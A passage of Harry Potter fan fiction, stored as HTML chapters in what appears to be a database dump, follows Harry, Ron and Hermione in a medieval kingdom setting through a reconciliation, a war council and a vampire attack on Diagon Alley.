corridor.&nbsp; She entered a large oak door not to far from\nthe throne room.&nbsp; The room was dark and\nhad nothing more than a large wooden desk in the center of it.&nbsp; Seated behind the desk was the red-eyed man.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Next time\nyou have a meeting, remind Lucius not to scream so much.&nbsp; It gives me a headache,&quot; said the\nred-eyed man without looking up from the book he was reading.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle swallowed before she spoke up.&nbsp; &quot;What do you think of these\nevents?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Let Black\nand Lupin meet the Mage Knights for all I care,&quot; said the red-eyed\nman.&nbsp; &quot;I, for one, am more\ninterested in this mudblood that Potter has befriended.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle was about to speak more when she\nsuddenly jumped.&nbsp; A Large green snake\nhad just slithered past her feet.&nbsp;\n&quot;Calm down.&nbsp; It is only Nagini,&quot;\nreplied the red-eyed man as he stroked the snake.&nbsp; He then looked up at Icicle.&nbsp;\n&quot;You know, I think I\'ll pay Potter and his mudblood friend a visit\nmyself.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione absolutely refused to speak to Harry\nfor the remainder of the visit to the Burrow.&nbsp;\nAs soon as they returned to Hogwarts, she shut herself in the library\nand only emerged during meal times.&nbsp; It\nwas while she was reading in the library when Harry finally cornered her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You\'ve been\navoiding me.&quot;&nbsp; Hermione kept her\neyes on her book.&nbsp; Harry sighed.&nbsp; &quot;Look, is this about that kiss?&nbsp; You\'re the one who kissed me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione felt tears starting to build up in her\neyes.&nbsp; &quot;I\'m sorry,&quot; she\nwhispered.&nbsp; &quot;I didn\'t mean anything\nby it. It just...happened.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry raised his eyebrows, by decided to let it\npass.&nbsp; &quot;If you\'re thinking that I\nwould start to hate you just because of some kiss, you\'re wrong.&nbsp; You\'re my friend, Hermione.&nbsp; I would never throw away our friendship over\nsomething as stupid as that.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione let a few tears fall as she smiled at\nhim.&nbsp; &quot;Thank you, Harry.&nbsp; That means so much to me.&nbsp; I promise that I won\'t do anything stupid\nlike that again.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry grinned.&nbsp;\n&quot;Don\'t worry about that.&nbsp;\nNow how can I get you to ride Firebolt all by yourself?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh\nhonestly,&quot; said Hermione as she rolled her eyes.&nbsp; &quot;Haven\'t you seen me on a horse?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As the Mage Knights filed into the Great Hall\nof Hogwarts, many murmurs such as &quot;Finally, we\'re going to kick Lucius\'s\nbutt,&quot; were heard.&nbsp; Hermione\nnoticed that Sir Draco Malfoy stiffened a little every time Lucius\'s name was\nmentioned.&nbsp; She had long figured out\nthat the Mage Knights wore different colored capes depending on which Kingdom\nthey came from: Gryffindors wore red capes, Hufflepuffs wore yellow ones,\nRavenclaws wore blue, and the Mage Knights who members of the Slytherin\nResistance against the Death Eaters wore green capes.&nbsp; She decided that since Sir Draco was a member of the Slytherin\nnobility, he must\'ve had some personal dealings with Lucius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As the Mage Knights took their seats,\nDumbledore stood up and started speaking.&nbsp;\n&quot;As all of us here know, we have recently secured the Mirror of\nErised due to the efforts of Sir Harry Potter, Sir Ronald Weasley, and Miss\nHermione Granger.&quot;&nbsp; He beamed at\nthe trio while Sir Draco scowled.&nbsp;\n&quot;After much examination of the mirror, we have finally discovered\nthe location of the remaining two talismans that are the key to victory.&nbsp; They are two rings, the Ring of the Lion and\nthe Ring of the Phoenix.&nbsp; They are\nlocated in a cave in the middle of the former Kingdom of Gryffindor.&nbsp; However, the cave can only be entered during\nthe full moon.&nbsp; Therefore, we have an\nentire week to prepare for the next mission.&nbsp;\nIn the mean time, I must remind that today is the second anniversary of\nthe loss of Sir Cedric Diggory of Hufflepuff.&quot;&nbsp; Suddenly, the entire hall went quiet.&nbsp; Hermione saw a tear roll down Sir Cho Chang\'s face and she also\nnotice that Harry had taken on a very dark look.&nbsp; &quot;Remember, Sir Cedric Diggory,&quot; continued\nDumbledore.&nbsp; &quot;Let us dedicate our\nvictory to his memory.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As the Mage Knights started to clear out of the\nGreat Hall, Dumbledore called out &quot;Sir Harry Potter.&nbsp; May I have a word?&quot;&nbsp; As Harry left to talk to Dumbledore, Hermione\nturned to Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What\nhappened to Sir Cedric?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron sighed.&nbsp;\n&quot;Two years ago, Harry and Diggory were working as partners on a\nmission.&nbsp; They were investigating a\nrumor that Death Eaters were using dragons to terrorize many of the villages in\nthe Kingdom of Hufflepuff.&nbsp; One day,\nHarry got a tip that led them to an old grave yard near a known Death Eater\nhideout.&nbsp; It was a trap!&nbsp; They were attacked by an entire legion of\nDeath Eaters who were there simply to kill Harry.&nbsp; Harry barely escaped with his life, Diggory never made\nit.&quot;&nbsp; Hermione felt a stab in her\nheart as she realized Harry must have gone through.&nbsp; Ron continued, &quot;Harry was absolutely torn up by Diggory\'s\ndeath.&nbsp; The trap was for him, yet he\nescaped while Diggory was killed.&nbsp; Sir\nCho Chang also went through a lot of pain.&nbsp;\nShe and Diggory were lovers.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione felt awful receiving this news.&nbsp; It was therefore, a little awkward when\nHarry returned with a large smile plastered on his face.&nbsp; &quot;Pack your bags.&nbsp; We\'ve got a new mission,&quot; he said.&nbsp; &quot;We\'re going to Diagon Alley\ntomorrow.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What\nfor?&quot; asked Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Two\nwords,&quot; answered Harry.&nbsp;\n&quot;Sirius and Remus.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;That\'s three\nwords,&quot; commented Hermione.&nbsp; Ron\nlooked ecstatic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;No bloody\nway!&nbsp; We haven\'t seen them for over a\nyear!&nbsp; They\'ve come back?!&nbsp; Did they bring the Gryffindor armies back\nwith them?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Yep!&nbsp; We\'re going to meet them at Diagon Alley and\nEscort them back to Hogwarts.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione suddenly realized who Harry and Ron\nwere talking about.&nbsp; Lords Sirius Black\nand Remus Lupin.&nbsp; Generals of the armies\nof Gryffindor and closest friends of the late King James and Queen Lily.&nbsp; As Hermione looked at Harry and Ron chatting\naway, Hermione couldn\'t help but wonder why Harry would be so happy about\nseeing the personal friends of the Gryffindor Royal family.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 10, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: I don\'t own Harry Potter.&nbsp; Belongs to J.K. Rowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<b></b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 10: Vampires in Diagon Alley</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Diagon Alley was the great shopping center of\nMagiterran.&nbsp; Every street was lined with\nshops bustling with goods with price ranges from the easily affordable to the\nridiculously expensive.&nbsp; People of all\nsorts of status gathered here, whether they be common muggle or noble.&nbsp; It was located right on the border of the\nKingdom of Hufflepuff and The Kingdom of Gryffindor, making it accessible to\nmost travelers in Magiterran.&nbsp; Ron was\ncompletely in his element as he pointed out different stores to Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;That marble\nbuilding over there is Gringotts Bank, my brother Bill works there.&nbsp; Its run by goblins, tricky lot they\nare.&nbsp; Over here\'s Honeydukes, best candy\nin Magiterran.&nbsp; Madam Malkins, you can\nget new robes there if you want.&nbsp; Oh,\nand we can\'t forget Ollivanders.&nbsp; All\nMage Knights receive the magical cores for their weapons there.&nbsp; And over here is Zonko\'s.&nbsp; Joke shop, perfect place for Fred and\nGeorge.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Is there a\nbookstore?&quot; asked Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron grumbled.&nbsp;\n&quot;Nope, the entire population\'s illiterate.&quot;&nbsp; When Hermione\'s eyes went wide, he continued\n&quot;Of course there\'s a bookstore.&nbsp;\nFlourish and Blotts.&nbsp; Just down\nthe street here.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione glared at him but decided to let it\ngo.&nbsp; &quot;Where\'s Harry?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;At Eeylops\nOwl Emporium.&nbsp; He needs to get some\ntreats for Hedwig, and I asked him to get something for my owl,\nPigwedgeon.&nbsp; That way, Pig won\'t be such\na royal pain in the....oh, excuse me Hermione.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione looked up to see what had suddenly\ncaught Ron\'s attention.&nbsp; It was a chess\ngame between an old man and a young girl.&nbsp;\nIt was clear that the girl was losing as she didn\'t have to many pieces\nleft.&nbsp; Ron studied the chess board for a\nfew moments before asking the girl, &quot;Mind if I make a move for\nyou?&quot;&nbsp; The girl shrugged.&nbsp; Ron moved a bishop three squares and\nannounced &quot;Three more moves until checkmate.&quot;&nbsp; Sure enough, The girl checkmated the old man\nin three moves.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Where did\nyou learn to play chess?&quot; asked Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron shrugged.&nbsp;\n&quot;Just happens to be one of my talents.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was dark when the two made there way to the\nLeaky Cauldron, the inn where they were staying at.&nbsp; They met Harry there who was carrying a large basket and a huge\ngrin on his face.&nbsp; He caught Ron\'s eye\nwho grinned back, then he turned to Hermione.&nbsp;\n&quot;Hey,&quot; he said.&nbsp;\n&quot;I got you something.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\'s eyes went wide.&nbsp; &quot;Harry!&nbsp; You shouldn\'t have...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry cut her off, &quot;Consider it a belated\nbirthday present.&nbsp; I figured it wasn\'t\nexactly fair that I have Hedwig and Firebolt and Ron has Pigwedgeon and Comet\nso I got you him.&nbsp; He\'s not an owl or a\nhorse though.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione looked inside the basket Harry had\ngiven her.&nbsp; Inside was a fluffy, orange\ncat.&nbsp; &quot;Oh, Harry!&nbsp; He\'s adorable!&nbsp; Thank you so much.&quot;&nbsp;\nShe gave Harry a kiss on the cheek and picked up the cat.&nbsp; &quot;Hello, Crookshanks.&nbsp; How are you today?&quot;&nbsp; Crookshanks started purring.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron rolled his eyes.&nbsp; &quot;Crookshanks?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I happen to\nlike the name very much, thank you!&quot; replied Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron was about to say more when the warning bell\nsuddenly started ringing.&nbsp;\n&quot;Attack!&nbsp; Slytherin warriors\nhave attacked!&quot;&nbsp; Harry, Hermione,\nand Ron all shared a look that said, \'Death Eaters?&nbsp; Here?\'&nbsp; The three made a\nmad dash into the streets when are dark figure swooped down on Hermione.&nbsp; It would\'ve passed for human if hadn\'t have\nbeen for the pale skin, glowing violet eyes, and the large fangs.&nbsp; Harry pushed Hermione aside and plunged his\nsword into the figure\'s heart, whereupon it screamed crumbled into dust.&nbsp; It was then that Hermione noticed the name\nwritten on Harry\'s sword for the first time: <i>Godric Gryffindor</i>.&nbsp; Unfortunately, she didn\'t have time to\nwonder why Harry had a sword that had apparently belonged to the founder of the\nKingdom of Gryffindor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Vampires!&quot;\nshouted Harry.&nbsp; &quot;They\'re using\nvampires!&nbsp; This is going to make the job\na lot more harder!&nbsp; Ingenious!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Suddenly a voice drawled behind them, &quot;Oh,\nI don\'t know.&nbsp; I personally think its a\nridiculous plan.&quot;&nbsp; Harry, Hermione,\nand Ron whipped around.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They saw a man leaning on a wall at the\nentrance way to an alley.&nbsp; He appeared\nto be the same age as them but Hermione could somehow tell that he was a lot\nolder.&nbsp; He was very tall, wore silver\narmor, black robes and boots, and a black cape.&nbsp; On his back was a sword with a hilt that was decorated with\nemeralds.&nbsp; He was exceedingly handsome\nwith raven black hair, and Hermione couldn\'t help but notice a resemblance\nbetween him and Harry.&nbsp; But the most\nstriking feature about him were his eyes: they were blood red!&nbsp; Red in the direct opposite way that Harry\'s\nwere green.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;And who may\nyou be?&quot; growled Ron.&nbsp; The red eyed\nman made a malevolent grin that sent shivers down Hermione\'s back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Tom Marvolo\nRiddle, at your service,&quot; he said with a polite bow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Are you our\nenemy?&nbsp; Are you a Death Eater?&quot;\nasked Harry.&nbsp; Hermione saw that he\nseemed to have a little pain in his scar.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Riddle smirked.&nbsp; &quot;I am not exactly a Death Eater.&nbsp; My loyalties don\'t go to King Lucius.&nbsp; However, since I am on their side, I am most definitely your\nenemy.&quot;&nbsp; Harry and Ron started\nadvancing on him, but Riddle simply put up his hands and continued, &quot;Now,\nnow, now, I\'m not here to fight you, Sir Harry Potter.&nbsp; If you must know, I simply came here to\nobserve HER.&quot;&nbsp; Hermione suddenly\nfelt cold as Riddle gestured towards her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;And why is\nthat?&quot; demanded Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Wouldn\'t you\nlike to know,&quot; replied Riddle.&nbsp; He\ngrinned and said &quot;It\'s been good seeing you <b>again</b>, Potter.&nbsp; Good bye.&quot;&nbsp; With that, he disapparated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry, Ron, and Hermione didn\'t have time to\nreflect on their meeting with Riddle as more vampires jumped on them!&nbsp; The three used all the skills and spells\nthey knew to fight off the vampires but there were too many of them.&nbsp; &quot;This isn\'t working!&quot; shouted\nHarry as he decapitated one vampire.&nbsp; He\nstopped another vampire in mid air by shouting <i>&quot;Impedimenta!&quot;&nbsp; </i>Next to him Ron blew up three vampires\nwith a good <i>&quot;Reducto!&quot;</i>&nbsp;\nIt was clear that he was getting exhausted.&nbsp; Hermione was doing some quick thinking.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I\'ve got\nit!&quot; she suddenly shouted.&nbsp;\n&quot;I\'ve read all about vampires.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What haven\'t\nyou read about?&quot; muttered Ron.&nbsp;\nHermione ignored him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Hold them\noff for a few moments,&quot; she said.&nbsp;\n&quot;I\'ll be right back.&quot;&nbsp;\nShe ran to a tall building and said <i>&quot;Wingardium Leviosa!&quot;</i>&nbsp; She levitated herself to the buildings\nroof.&nbsp; She was just about to implement\nher plan when she was suddenly grabbed by a vampire.&nbsp; It dragged her to floor and proceeded to sink it\'s fangs into her\nneck.&nbsp; Before it could, though, Hermione\nshouted <i>&quot;Incendio!&quot;</i>&nbsp;\nThe vampire screamed as it caught on fire.&nbsp; Hermione lost no time as she pushed the burning vampire off of\nher and stood up.&nbsp; She lifted her staff\nup and shouted <i>&quot;Lumos Solarum!&quot;</i>&nbsp; A sudden blast of sunlight erupted from Hermione\'s staff.&nbsp; It only lasted for a few seconds, but it was\nenough to crumble every vampire in Diagon Alley to dust.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione rejoined Harry and Ron who were\nexamining the damage.&nbsp; &quot;That was\nruddy brilliant, Hermione!&quot; Ron shouted.&nbsp;\nHe was beaming.&nbsp; &quot;I didn\'t\nthink you had it in you!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry gave her a smile but remained quiet.&nbsp; He was searching for the Death Eaters who\nhad brought on the attack.&nbsp; He finally\nlocated them trying to escape to the outskirts of the city.&nbsp; One of them had a gleaming silver right\nhand.&nbsp; &quot;Wormtail!&quot; growled\nHarry.&nbsp; He placed two fingers on his\nlips and blew out a shrill whistle.&nbsp;\nFirebolt came trotting out and Harry jumped on his back.&nbsp; He then galloped down to the fleeing Death\nEaters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Wormtail looked up and saw Harry galloping\ntowards him.&nbsp; His right hand, suddenly\nconjured up a gleaming blade.&nbsp; The sound\nof metal hitting metal rang throughout the night as Harry\'s sword and\nWormtail\'s blade met.&nbsp; Harry reared\nFirebolt up and swung his sword, underhand.&nbsp;\nHe managed to knock Wormtail off of his feet.&nbsp; Wormtail scrambled back up as Harry rounded Firebolt around.&nbsp; He deflected another one of Harry\'s blows\nand used some kind of magic to fly himself up to the rooftops.</p>\n\n<p class="MsoNormal" 